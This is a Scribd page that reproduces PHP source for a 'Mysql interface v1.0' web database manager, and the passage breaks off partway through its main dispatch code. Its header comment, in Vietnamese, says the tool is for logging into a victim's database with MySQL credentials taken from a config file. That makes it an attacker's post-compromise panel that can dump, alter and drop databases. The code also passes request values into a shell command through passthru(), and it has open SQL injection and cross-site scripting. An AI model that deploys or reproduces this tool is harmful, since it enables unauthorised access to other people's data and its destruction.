0% found this document useful (0 votes)

37 views42 pages

Sorcecode

The document appears to be PHP code for a web application that allows unauthorized access to a MySQL database by exploiting knowledge of the username and password stored in a configuration file. The application provides a login page and interfaces to view and manage database objects like databases, tables, rows, and fields. It contains functions for common database operations like creating, dropping, querying, and dumping databases and tables.

Uploaded by

Faiz Fanani

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

0% found this document useful (0 votes)

37 views42 pages

Sorcecode

Uploaded by

Faiz Fanani

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

You are on page 1/ 42

iconpln.co.

* Mysql interface v1.0

www.iconpln.co.id

test wepapps

* -------------------------------

* Description :

* Dung` de login vao` CSDL cua victim khi da biet user va` pass cua mysql thong qua file config

$HOSTNAME = "localhost";

function logon() {

global $PHP_SELF;

setcookie( "mysql_web_admin_username" );

setcookie( "mysql_web_admin_password" );

echo "<html>\n";

echo "<head>\n";

echo "<title>Mysql interface</title>\n";

echo "</head>\n";

echo "<body>\n";

echo "<table width=100% height=100%><tr><td><center>\n";

echo "<table cellpadding=2><tr><td bgcolor=#0090FF><center>\n";

echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";

echo "<h1><b><font color=#FF0000>Mysql Interface v1.0</font></b></h1>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=logon_submit>\n";

echo "<table cellpadding=5 cellspacing=1>\n";

echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";

echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";

echo "</table><p>\n";

echo "<input type=submit value='Enter'>\n";

echo "<input type=reset value='Clear'><br>\n";

echo "</form>\n";

echo "</center></td></tr></table>\n";

echo "<p><hr width=300>\n";

echo "<font size=2>\n";

echo "Copyright © 2005\n <br>";

echo "</font>\n";

echo "</center></td></tr></table>\n";

echo "</body>\n";

echo "</html>\n";

function logon_submit() {

global $username, $password, $PHP_SELF;

setcookie( "mysql_web_admin_username", $username );

setcookie( "mysql_web_admin_password", $password );

echo "<html>";

echo "<head>";

echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";

echo "</head>";

echo "</html>";
}

function echoQueryResult() {

global $queryStr, $errMsg;

if( $errMsg == "" ) $errMsg = "Success";

if( $queryStr != "" ) {

echo "<table cellpadding=5>\n";

echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";

echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";

echo "</table><p>\n";

function listDatabases() {

global $mysqlHandle, $PHP_SELF;

echo "<h1>Database List</h1>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=createDB>\n";

echo "<input type=text name=dbname>\n";

echo "<input type=submit value='Create Database'>\n";

echo "</form>\n";

echo "<hr>\n";

echo "<table cellspacing=1 cellpadding=5>\n";

$pDB = mysql_list_dbs( $mysqlHandle );

$num = mysql_num_rows( $pDB );

for( $i = 0; $i < $num; $i++ ) {

$dbname = mysql_dbname( $pDB, $i );

echo "<tr>\n";

echo "<td>$dbname</td>\n";

echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n";

echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop

Database \'$dbname\'?')\">Drop</a></td>\n";

echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n";

echo "</tr>\n";

echo "</table>\n";

function createDatabase() {

global $mysqlHandle, $dbname, $PHP_SELF;

mysql_create_db( $dbname, $mysqlHandle );

listDatabases();

function dropDatabase() {

global $mysqlHandle, $dbname, $PHP_SELF;

mysql_drop_db( $dbname, $mysqlHandle );

listDatabases();

function listTables() {
global $mysqlHandle, $dbname, $PHP_SELF;

echo "<h1>Table List</h1>\n";

echo "<p class=location>$dbname</p>\n";

echoQueryResult();

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=createTable>\n";

echo "<input type=hidden name=dbname value=$dbname>\n";

echo "<input type=text name=tablename>\n";

echo "<input type=submit value='Create Table'>\n";

echo "</form>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=query>\n";

echo "<input type=hidden name=dbname value=$dbname>\n";

echo "<input type=text size=40 name=queryStr>\n";

//echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>";

echo "<input type=submit value='Query'>\n";

echo "</form>\n";

echo "<hr>\n";

$pTable = mysql_list_tables( $dbname );

if( $pTable == 0 ) {

$msg = mysql_error();

echo "<h3>Error : $msg</h3><p>\n";

return;

$num = mysql_num_rows( $pTable );

echo "<table cellspacing=1 cellpadding=5>\n";

for( $i = 0; $i < $num; $i++ ) {

$tablename = mysql_tablename( $pTable, $i );

echo "<tr>\n";

echo "<td>\n";

echo "$tablename\n";

echo "</td>\n";

echo "<td>\n";

echo "<a
href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";

echo "</td>\n";

echo "<td>\n";

echo "<a
href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";

echo "</td>\n";

echo "<td>\n";

echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename'

onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n";

echo "</td>\n";

echo "<td>\n";

echo "<a
href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n";

echo "</td>\n";

echo "</tr>\n";

echo "</table>";

}
function createTable() {

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

$queryStr = "CREATE TABLE $tablename ( no INT )";

mysql_select_db( $dbname, $mysqlHandle );

mysql_query( $queryStr, $mysqlHandle );

$errMsg = mysql_error();

listTables();

function dropTable() {

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

$queryStr = "DROP TABLE $tablename";

mysql_select_db( $dbname, $mysqlHandle );

mysql_query( $queryStr, $mysqlHandle );

$errMsg = mysql_error();

listTables();

function viewSchema() {

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

echo "<h1>Table Schema</h1>\n";

echo "<p class=location>$dbname > $tablename</p>\n";

echoQueryResult();

echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add

Field</a> | \n";

echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View

Data</a>\n";

echo "<hr>\n";

$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );

$num = mysql_num_rows( $pResult );

echo "<table cellspacing=1 cellpadding=5>\n";

echo "<tr>\n";

echo "<th>Field</th>\n";

echo "<th>Type</th>\n";

echo "<th>Null</th>\n";

echo "<th>Key</th>\n";

echo "<th>Default</th>\n";

echo "<th>Extra</th>\n";

echo "<th colspan=2>Action</th>\n";

echo "</tr>\n";

for( $i = 0; $i < $num; $i++ ) {

$field = mysql_fetch_array( $pResult );

echo "<tr>\n";

echo "<td>".$field["Field"]."</td>\n";

echo "<td>".$field["Type"]."</td>\n";

echo "<td>".$field["Null"]."</td>\n";

echo "<td>".$field["Key"]."</td>\n";
echo "<td>".$field["Default"]."</td>\n";

echo "<td>".$field["Extra"]."</td>\n";

$fieldname = $field["Field"];

echo "<td><a
href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldnam
e'>Edit</a></td>\n";

echo "<td><a
href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldnam
e' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";

echo "</tr>\n";

echo "</table>\n";

function manageField( $cmd ) {

global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;

if( $cmd == "add" )

echo "<h1>Add Field</h1>\n";

else if( $cmd == "edit" ) {

echo "<h1>Edit Field</h1>\n";

$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );

$num = mysql_num_rows( $pResult );

for( $i = 0; $i < $num; $i++ ) {

$field = mysql_fetch_array( $pResult );

if( $field["Field"] == $fieldname ) {

$fieldtype = $field["Type"];

$fieldkey = $field["Key"];

$fieldextra = $field["Extra"];

$fieldnull = $field["Null"];
$fielddefault = $field["Default"];

break;

$type = strtok( $fieldtype, " (,)\n" );

if( strpos( $fieldtype, "(" ) ) {

if( $type == "enum" | $type == "set" ) {

$valuelist = strtok( " ()\n" );

} else {

$M = strtok( " (,)\n" );

if( strpos( $fieldtype, "," ) )

$D = strtok( " (,)\n" );

echo "<p class=location>$dbname > $tablename</p>\n";

echo "<form action=$PHP_SELF>\n";

if( $cmd == "add" )

echo "<input type=hidden name=action value=addField_submit>\n";

else if( $cmd == "edit" ) {

echo "<input type=hidden name=action value=editField_submit>\n";

echo "<input type=hidden name=old_name value=$fieldname>\n";

echo "<input type=hidden name=dbname value=$dbname>\n";

echo "<input type=hidden name=tablename value=$tablename>\n";

echo "<h3>Name</h3>\n";
echo "<input type=text name=name value=$fieldname><p>\n";

* `M' indicates the maximum display size.<br>

* `D' applies to floating-point types and indicates the number of digits following the decimal point.<br>

</font>

<table>

<tr>

<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th
>binary</th>

</tr>

<tr>

<td><input type=radio name=type value="TINYINT" <? if( $type == "tinyint" ) echo

"checked";?>>TINYINT (-128 ~ 127)</td>

</tr>

<tr>

<td><input type=radio name=type value="SMALLINT" <? if( $type == "smallint" ) echo

"checked";?>>SMALLINT (-32768 ~ 32767)</td>

</tr>

<tr>

<td><input type=radio name=type value="MEDIUMINT" <? if( $type == "mediumint" ) echo

"checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td>

</tr>

<tr>

</tr>

<tr>

<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" ) echo "checked";?>>BIGINT (-
9223372036854775808 ~ 9223372036854775807)</td>

</tr>
<tr>

<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) echo

"checked";?>>FLOAT</td>

</tr>

<tr>

<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" ) echo

"checked";?>>DOUBLE</td>

</tr>

<tr>

<td><input type=radio name=type value="DECIMAL" <? if( $type == "decimal" ) echo

"checked";?>>DECIMAL(NUMERIC)</td>

</tr>

<tr>

</tr>

<tr>

<td><input type=radio name=type value="DATETIME" <? if( $type == "datetime" ) echo

"checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>

</tr>

<tr>

<td><input type=radio name=type value="TIMESTAMP" <? if( $type == "timestamp" ) echo

"checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

<td><input type=radio name=type value="VARCHAR" <? if( $type == "varchar" ) echo

"checked";?>>VARCHAR</td>

</tr>
<tr>

<td><input type=radio name=type value="TINYTEXT" <? if( $type == "tinytext" ) echo

"checked";?>>TINYTEXT (0 ~ 255)</td>

</tr>

<tr>

</tr>

<tr>

<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == "mediumtext" ) echo

"checked";?>>MEDIUMTEXT (0 ~ 16777215)</td>

</tr>

<tr>

<td><input type=radio name=type value="LONGTEXT" <? if( $type == "longtext" ) echo

"checked";?>>LONGTEXT (0 ~ 4294967295)</td>
<td>&nbsp</td>

</tr>

<tr>

<td><input type=radio name=type value="TINYBLOB" <? if( $type == "tinyblob" ) echo

"checked";?>>TINYBLOB (0 ~ 255)</td>

</tr>

<tr>

</tr>

<tr>

<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == "mediumblob" ) echo

"checked";?>>MEDIUMBLOB (0 ~ 16777215)</td>

</tr>

<tr>

<td><input type=radio name=type value="LONGBLOB" <? if( $type == "longblob" ) echo

"checked";?>>LONGBLOB (0 ~ 4294967295)</td>

</tr>

<tr>

<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) echo

"checked";?>>ENUM</td>

<td colspan=5><center>value list</center></td>

</tr>

<tr>

<td colspan=5><center>value list</center></td>

</tr>

</table>

<table>

<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex:

'apple', 'orange', 'banana') </th></tr>

<tr>

<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? if( strpos( $fieldtype,

"zerofill" ) ) echo "checked";?>></td>

</tr>

</table>

<h3>Flags</h3>

<table>

<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>

<tr>

<td align=center><input type=text name=default_value <? if( $fielddefault != "" ) echo

"value=$fielddefault";?>></td>

<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" <? if(

$fieldextra == "auto_increment" ) echo "checked";?>></td>

<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" <? if( $fieldkey ==

"PRI" ) echo "checked";?>></td>

</tr>

</table>

<p>

if( $cmd == "add" )

echo "<input type=submit value='Add Field'>\n";

else if( $cmd == "edit" )

echo "<input type=submit value='Edit Field'>\n";

echo "<input type=button value=Cancel onClick='history.back()'>\n";

echo "</form>\n";

function manageField_submit( $cmd ) {

global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr,

$errMsg,

$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key,

$valuelist;

if( $cmd == "add" )

$queryStr = "ALTER TABLE $tablename ADD $name ";

else if( $cmd == "edit" )

$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";

if( $M != "" )

if( $D != "" )

$queryStr .= "$type($M,$D) ";

else

$queryStr .= "$type($M) ";

else if( $valuelist != "" ) {

$valuelist = stripslashes( $valuelist );

$queryStr .= "$type($valuelist) ";

} else

$queryStr .= "$type ";

$queryStr .= "$unsigned $zerofill $binary ";

if( $default_value != "" )

$queryStr .= "DEFAULT '$default_value' ";

$queryStr .= "$not_null $auto_increment";

mysql_select_db( $dbname, $mysqlHandle );

mysql_query( $queryStr, $mysqlHandle );

$errMsg = mysql_error();

// key change

$keyChange = false;

$result = mysql_query( "SHOW KEYS FROM $tablename" );

$primary = "";

while( $row = mysql_fetch_array($result) )

if( $row["Key_name"] == "PRIMARY" ) {

if( $row[Column_name] == $name )

$keyChange = true;

else

$primary .= ", $row[Column_name]";

if( $primary_key == "PRIMARY KEY" ) {

$primary .= ", $name";

$keyChange = !$keyChange;

$primary = substr( $primary, 2 );

if( $keyChange == true ) {

$q = "ALTER TABLE $tablename DROP PRIMARY KEY";

mysql_query( $q );
$queryStr .= "<br>\n" . $q;

$errMsg .= "<br>\n" . mysql_error();

$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";

mysql_query( $q );

$queryStr .= "<br>\n" . $q;

$errMsg .= "<br>\n" . mysql_error();

viewSchema();

function dropField() {

global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";

mysql_select_db( $dbname, $mysqlHandle );

mysql_query( $queryStr , $mysqlHandle );

$errMsg = mysql_error();

viewSchema();

function viewData( $queryStr ) {

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;

echo "<h1>Data in Table</h1>\n";

if( $tablename != "" )

echo "<p class=location>$dbname > $tablename</p>\n";

else
echo "<p class=location>$dbname</p>\n";

$queryStr = stripslashes( $queryStr );

if( $queryStr == "" ) {

$queryStr = "SELECT * FROM $tablename";

if( $orderby != "" )

$queryStr .= " ORDER BY $orderby";

echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add

Data</a> | \n";

echo "<a
href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";

$pResult = mysql_db_query( $dbname, $queryStr );

$errMsg = mysql_error();

$GLOBALS[queryStr] = $queryStr;

if( $pResult == false ) {

echoQueryResult();

return;

if( $pResult == 1 ) {

$errMsg = "Success";

echoQueryResult();

return;

echo "<hr>\n";
$row = mysql_num_rows( $pResult );

$col = mysql_num_fields( $pResult );

if( $row == 0 ) {

echo "No Data Exist!";

return;

if( $rowperpage == "" ) $rowperpage = 20;

if( $page == "" ) $page = 0;

else $page--;

mysql_data_seek( $pResult, $page * $rowperpage );

echo "<table cellspacing=1 cellpadding=2>\n";

echo "<tr>\n";

for( $i = 0; $i < $col; $i++ ) {

$field = mysql_fetch_field( $pResult, $i );

echo "<th>";

echo "<a
href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field-
>name."'>".$field->name."</a>\n";

echo "</th>\n";

echo "<th colspan=2>Action</th>\n";

echo "</tr>\n";

for( $i = 0; $i < $rowperpage; $i++ ) {

$rowArray = mysql_fetch_row( $pResult );

if( $rowArray == false ) break;

echo "<tr>\n";

$key = "";

for( $j = 0; $j < $col; $j++ ) {

$data = $rowArray[$j];

$field = mysql_fetch_field( $pResult, $j );

if( $field->primary_key == 1 )

$key .= "&" . $field->name . "=" . $data;

if( strlen( $data ) > 20 )

$data = substr( $data, 0, 20 ) . "...";

$data = htmlspecialchars( $data );

echo "<td>\n";

echo "$data\n";

echo "</td>\n";

if( $key == "" )

echo "<td colspan=2>no Key</td>\n";

else {

echo "<td><a
href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n"
;

echo "<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key'

onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";

echo "</tr>\n";

echo "</table>\n";
echo "<font size=2>\n";

echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'

method=post>\n";

echo "<font color=green>\n";

echo ($page+1)."/".(int)($row/$rowperpage+1)." page";

echo "</font>\n";

echo " | ";

if( $page > 0 ) {

echo "<a
href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);

if( $orderby != "" )

echo "&orderby=$orderby";

echo "'>Prev</a>\n";

} else

echo "Prev";

echo " | ";

if( $page < ($row/$rowperpage)-1 ) {

echo "<a
href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);

if( $orderby != "" )

echo "&orderby=$orderby";

echo "'>Next</a>\n";

} else

echo "Next";

echo " | ";

if( $row > $rowperpage ) {

echo "<input type=text size=4 name=page>\n";

echo "<input type=submit value='Go'>\n";

}
echo "</form>\n";

echo "</font>\n";

function manageData( $cmd ) {

global $mysqlHandle, $dbname, $tablename, $PHP_SELF;

if( $cmd == "add" )

echo "<h1>Add Data</h1>\n";

else if( $cmd == "edit" ) {

echo "<h1>Edit Data</h1>\n";

$pResult = mysql_list_fields( $dbname, $tablename );

$num = mysql_num_fields( $pResult );

$key = "";

for( $i = 0; $i < $num; $i++ ) {

$field = mysql_fetch_field( $pResult, $i );

if( $field->primary_key == 1 )

if( $field->numeric == 1 )

$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";

else

$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";

$key = substr( $key, 0, strlen($key)-4 );

mysql_select_db( $dbname, $mysqlHandle );

$pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );

$data = mysql_fetch_array( $pResult );

}
echo "<p class=location>$dbname > $tablename</p>\n";

echo "<form action='$PHP_SELF' method=post>\n";

if( $cmd == "add" )

echo "<input type=hidden name=action value=addData_submit>\n";

else if( $cmd == "edit" )

echo "<input type=hidden name=action value=editData_submit>\n";

echo "<input type=hidden name=dbname value=$dbname>\n";

echo "<input type=hidden name=tablename value=$tablename>\n";

echo "<table cellspacing=1 cellpadding=2>\n";

echo "<tr>\n";

echo "<th>Name</th>\n";

echo "<th>Type</th>\n";

echo "<th>Function</th>\n";

echo "<th>Data</th>\n";

echo "</tr>\n";

$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );

$num = mysql_num_rows( $pResult );

$pResultLen = mysql_list_fields( $dbname, $tablename );

for( $i = 0; $i < $num; $i++ ) {

$field = mysql_fetch_array( $pResult );

$fieldname = $field["Field"];

$fieldtype = $field["Type"];

$len = mysql_field_len( $pResultLen, $i );

echo "<tr>";

echo "<td>$fieldname</td>";

echo "<td>".$field["Type"]."</td>";

echo "<td>\n";

echo "<select name=${fieldname}_function>\n";

echo "<option>\n";

echo "<option>ASCII\n";

echo "<option>CHAR\n";

echo "<option>SOUNDEX\n";

echo "<option>CURDATE\n";

echo "<option>CURTIME\n";

echo "<option>FROM_DAYS\n";

echo "<option>FROM_UNIXTIME\n";

echo "<option>NOW\n";

echo "<option>PASSWORD\n";

echo "<option>PERIOD_ADD\n";

echo "<option>PERIOD_DIFF\n";

echo "<option>TO_DAYS\n";

echo "<option>USER\n";

echo "<option>WEEKDAY\n";

echo "<option>RAND\n";

echo "</select>\n";

echo "</td>\n";

$value = htmlspecialchars($data[$i]);

if( $cmd == "add" ) {

$type = strtok( $fieldtype, " (,)\n" );

if( $type == "enum" || $type == "set" ) {

echo "<td>\n";

if( $type == "enum" )

echo "<select name=$fieldname>\n";

else if( $type == "set" )

echo "<select name=$fieldname size=4 multiple>\n";

echo strtok( "'" );

while( $str = strtok( "'" ) ) {

echo "<option>$str\n";

strtok( "'" );

echo "</select>\n";

echo "</td>\n";

} else {

if( $len < 40 )

echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";

else

echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";

} else if( $cmd == "edit" ) {

$type = strtok( $fieldtype, " (,)\n" );

if( $type == "enum" || $type == "set" ) {

echo "<td>\n";

if( $type == "enum" )

echo "<select name=$fieldname>\n";

else if( $type == "set" )

echo "<select name=$fieldname size=4 multiple>\n";

echo strtok( "'" );

while( $str = strtok( "'" ) ) {

if( $value == $str )

echo "<option selected>$str\n";

else
echo "<option>$str\n";

strtok( "'" );

echo "</select>\n";

echo "</td>\n";

} else {

if( $len < 40 )

echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";

else

echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";

echo "</tr>";

echo "</table><p>\n";

if( $cmd == "add" )

echo "<input type=submit value='Add Data'>\n";

else if( $cmd == "edit" )

echo "<input type=submit value='Edit Data'>\n";

echo "<input type=button value='Cancel' onClick='history.back()'>\n";

echo "</form>\n";

function manageData_submit( $cmd ) {

global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

$pResult = mysql_list_fields( $dbname, $tablename );

$num = mysql_num_fields( $pResult );

mysql_select_db( $dbname, $mysqlHandle );

if( $cmd == "add" )

$queryStr = "INSERT INTO $tablename VALUES (";

else if( $cmd == "edit" )

$queryStr = "REPLACE INTO $tablename VALUES (";

for( $i = 0; $i < $num-1; $i++ ) {

$field = mysql_fetch_field( $pResult );

$func = $GLOBALS[$field->name."_function"];

if( $func != "" )

$queryStr .= " $func(";

if( $field->numeric == 1 ) {

$queryStr .= $GLOBALS[$field->name];

if( $func != "" )

$queryStr .= "),";

else

$queryStr .= ",";

} else {

$queryStr .= "'" . $GLOBALS[$field->name];

if( $func != "" )

$queryStr .= "'),";

else

$queryStr .= "',";

$field = mysql_fetch_field( $pResult );

if( $field->numeric == 1 )

$queryStr .= $GLOBALS[$field->name] . ")";

else

$queryStr .= "'" . $GLOBALS[$field->name] . "')";

mysql_query( $queryStr , $mysqlHandle );

$errMsg = mysql_error();

viewData( "" );

function deleteData() {

global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

$pResult = mysql_list_fields( $dbname, $tablename );

$num = mysql_num_fields( $pResult );

$key = "";

for( $i = 0; $i < $num; $i++ ) {

$field = mysql_fetch_field( $pResult, $i );

if( $field->primary_key == 1 )

if( $field->numeric == 1 )

$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";

else

$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";

$key = substr( $key, 0, strlen($key)-4 );

mysql_select_db( $dbname, $mysqlHandle );

$queryStr = "DELETE FROM $tablename WHERE $key";

mysql_query( $queryStr, $mysqlHandle );

$errMsg = mysql_error();
viewData( "" );

function dump() {

global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename;

if( $action == "dumpTable" )

$filename = $tablename;

else

$filename = $dbname;

header("Content-disposition: filename=$filename.sql");

header("Content-type: application/octetstream");

header("Pragma: no-cache");

header("Expires: 0");

$pResult = mysql_query( "show variables" );

while( 1 ) {

$rowArray = mysql_fetch_row( $pResult );

if( $rowArray == false ) break;

if( $rowArray[0] == "basedir" )

$bindir = $rowArray[1]."bin/";

passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" );

function utils() {

global $PHP_SELF, $command;

echo "<h1>Utilities</h1>\n";

if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {

echo "<hr>\n";

echo "Show\n";

echo "<ul>\n";

echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";

echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";

echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";

echo "</ul>\n";

echo "Flush\n";

echo "<ul>\n";

echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";

if( $command == "flush_hosts" ) {

if( mysql_query( "Flush hosts" ) != false )

echo "<font size=2 color=red>- Success</font>";

else

echo "<font size=2 color=red>- Fail</font>";

echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";

if( $command == "flush_logs" ) {

if( mysql_query( "Flush logs" ) != false )

echo "<font size=2 color=red>- Success</font>";

else

echo "<font size=2 color=red>- Fail</font>";

echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";

if( $command == "flush_privileges" ) {

if( mysql_query( "Flush privileges" ) != false )

echo "<font size=2 color=red>- Success</font>";

else

echo "<font size=2 color=red>- Fail</font>";

echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";

if( $command == "flush_tables" ) {

if( mysql_query( "Flush tables" ) != false )

echo "<font size=2 color=red>- Success</font>";

else

echo "<font size=2 color=red>- Fail</font>";

echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";

if( $command == "flush_status" ) {

if( mysql_query( "Flush status" ) != false )

echo "<font size=2 color=red>- Success</font>";

else

echo "<font size=2 color=red>- Fail</font>";

echo "</ul>\n";

} else {

$queryStr = ereg_replace( "_", " ", $command );

$pResult = mysql_query( $queryStr );

if( $pResult == false ) {

echo "Fail";

return;

$col = mysql_num_fields( $pResult );

echo "<p class=location>$queryStr</p>\n";

echo "<hr>\n";
echo "<table cellspacing=1 cellpadding=2 border=0>\n";

echo "<tr>\n";

for( $i = 0; $i < $col; $i++ ) {

$field = mysql_fetch_field( $pResult, $i );

echo "<th>".$field->name."</th>\n";

echo "</tr>\n";

while( 1 ) {

$rowArray = mysql_fetch_row( $pResult );

if( $rowArray == false ) break;

echo "<tr>\n";

for( $j = 0; $j < $col; $j++ )

echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";

echo "</tr>\n";

echo "</table>\n";

function header_html() {

global $PHP_SELF;

<html>

<head>

<title>MySQL Web Interface</title>

p.location {

color: #FF6000;

font-size: small;

h1 {

color: #0090FF;

th {

background-color: #34A725;

color: #FFFFFF;

font-size: x-small;

td {

background-color: #5DB1FF;

font-size: x-small;

form {

margin-top: 0;

margin-bottom: 0;

text-decoration:none;

color: #848200;

font-size:x-small;

a:link {

a:hover {
background-color:#EEEFD5;

color:#FF0000;

text-decoration:none

//-->

</style>

</head>

<body>

function footer_html() {

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;

echo "<hr>\n";

echo "<font size=2>\n";

echo "<font color=blue>[$USERNAME]</font> - \n";

echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";

if( $tablename != "" )

echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table

List</a> | ";

echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";

echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";

echo "</font>\n";

echo "</body>\n";

echo "</html>\n";

}
//------------------------------------------------------ MAIN

if( $action == "logon" || $action == "" || $action == "logout" )

logon();

else if( $action == "logon_submit" )

logon_submit();

else if( $action == "dumpTable" || $action == "dumpDB" ) {

while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {

if( $var == "mysql_web_admin_username" ) $USERNAME = $value;

if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;

$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );

dump();

} else {

while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {

if( $var == "mysql_web_admin_username" ) $USERNAME = $value;

if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;

echo "<!--";

$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );

echo "-->";

if( $mysqlHandle == false ) {

echo "<html>\n";

echo "<head>\n";

echo "<title>MySQL Web Interface</title>\n";

echo "</head>\n";

echo "<body>\n";

echo "<table width=100% height=100%><tr><td><center>\n";

echo "<h1>Wrong Password!</h1>\n";

echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";

echo "</center></td></tr></table>\n";

echo "</body>\n";

echo "</html>\n";

} else {

header_html();

if( $action == "listDBs" )

listDatabases();

else if( $action == "createDB" )

